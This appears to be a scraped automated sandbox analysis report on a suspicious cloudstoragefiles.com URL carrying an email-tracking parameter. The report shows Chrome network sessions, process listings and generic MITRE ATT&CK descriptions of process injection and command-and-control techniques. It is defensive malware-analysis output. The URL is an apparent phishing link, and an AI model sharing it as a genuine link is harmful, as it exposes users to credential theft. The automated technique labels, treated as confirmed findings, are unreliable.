2024-09-29 13:46:48 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-09-29 13:46:48 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 73 5a 6b 64 7a 6c 32 47 51 30 6d 45 39 70 6f 4d 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 31 62 61 31 33 30 36 30 63 33 61 37 62 65 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 41 53 65 66 6f 69 66 59 57 62 71 56 6d 78 74 71 59 63 32 42 54 5a 33 64 52 46 64 5a 74 2b 74 4e 63 74 66 55 4d 54 37 4b 75 49 76 2b 43 50 72 51 63 70 56 64 41 32 7a 6f 4f 51 4a 36 2b 67 49 76 58 30 47 47 43 52 61 5a 75 66 57 55 2f 77 49 33 51 2b 54 55 35 4f 68 33 39 68 39 61 70 4d 42 42 77 39 77 74 56 78 32 79 53 31 73 4a Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: sZkdzl2GQ0mE9poM.2Context: a1ba13060c3a7be2<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdASefoifYWbqVmxtqYc2BTZ3dRFdZt+tNctfUMT7KuIv+CPrQcpVdA2zoOQJ6+gIvX0GGCRaZufWU/wI3Q+TU5Oh39h9apMBBw9wtVx2yS1sJ
2024-09-29 13:46:48 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 73 5a 6b 64 7a 6c 32 47 51 30 6d 45 39 70 6f 4d 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 31 62 61 31 33 30 36 30 63 33 61 37 62 65 32 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: sZkdzl2GQ0mE9poM.3Context: a1ba13060c3a7be2<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-09-29 13:46:48 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-09-29 13:46:48 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6e 50 4c 7a 70 6d 65 50 53 6b 43 4d 2f 72 49 35 69 46 58 37 4b 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: nPLzpmePSkCM/rI5iFX7Kg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49762	35.190.80.1	443	7048	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 13:46:49 UTC	556	OUT	OPTIONS /report/v4?s=8HNFkz%2B3nk%2Fp38JjFB00Sp2zrcvjF5nrnTunp6hETv9ZuXaABYHBqanM0ot0HQVxh%2BIAPsCetIRZA70ueP3PcFfY3ZW%2ByG%2BJclJ6gwrWkTnmwuOzk1v2fHcWF4Y%2FobGJcaA0BQw8bRg%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://cloudstoragefiles.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 13:46:49 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Sun, 29 Sep 2024 13:46:49 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49763	35.190.80.1	443	7048	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 13:46:50 UTC	493	OUT	POST /report/v4?s=8HNFkz%2B3nk%2Fp38JjFB00Sp2zrcvjF5nrnTunp6hETv9ZuXaABYHBqanM0ot0HQVxh%2BIAPsCetIRZA70ueP3PcFfY3ZW%2ByG%2BJclJ6gwrWkTnmwuOzk1v2fHcWF4Y%2FobGJcaA0BQw8bRg%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 1466 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-29 13:46:50 UTC	1466	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 35 31 30 34 36 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 34 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 30 2c 22 74 79 70 65 22 3a 22 61 62 61 6e 64 6f 6e 65 64 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 63 6c 6f 75 64 73 74 6f 72 61 67 65 66 69 6c 65 73 2e 63 6f 6d 2f 47 47 51 64 6a 4a 3f Data Ascii: [{"age":51046,"body":{"elapsed_time":14,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"","status_code":0,"type":"abandoned"},"type":"network-error","url":"https://cloudstoragefiles.com/GGQdjJ?
2024-09-29 13:46:50 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Sun, 29 Sep 2024 13:46:49 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	0
Start time:	09:45:34
Start date:	29/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	09:45:39
Start date:	29/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2552 --field-trial-handle=2536,i,6694443211813113042,4194512464451044860,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	09:45:41
Start date:	29/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://elr.cloudstoragefiles.com/swkskjd?e=$(email)"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:45:56
Start date:	29/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4040 --field-trial-handle=2536,i,6694443211813113042,4194512464451044860,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	09:45:56
Start date:	29/09/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4120 --field-trial-handle=2536,i,6694443211813113042,4194512464451044860,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://elr.cloudstoragefiles.com/swkskjd?e=$(email)

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 49

Chrome Cache Entry: 50

Chrome Cache Entry: 51

Chrome Cache Entry: 52

Chrome Cache Entry: 53

Chrome Cache Entry: 54

Chrome Cache Entry: 55

Chrome Cache Entry: 56

Chrome Cache Entry: 57

Static File Info

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

Behavior

System Behavior

Analysis Process: chrome.exePID: 4824, Parent PID: 6092

General

Chronological Activities

Analysis Process: chrome.exePID: 7048, Parent PID: 4824

General

Windows Analysis Report
https://elr.cloudstoragefiles.com/swkskjd?e=$(email)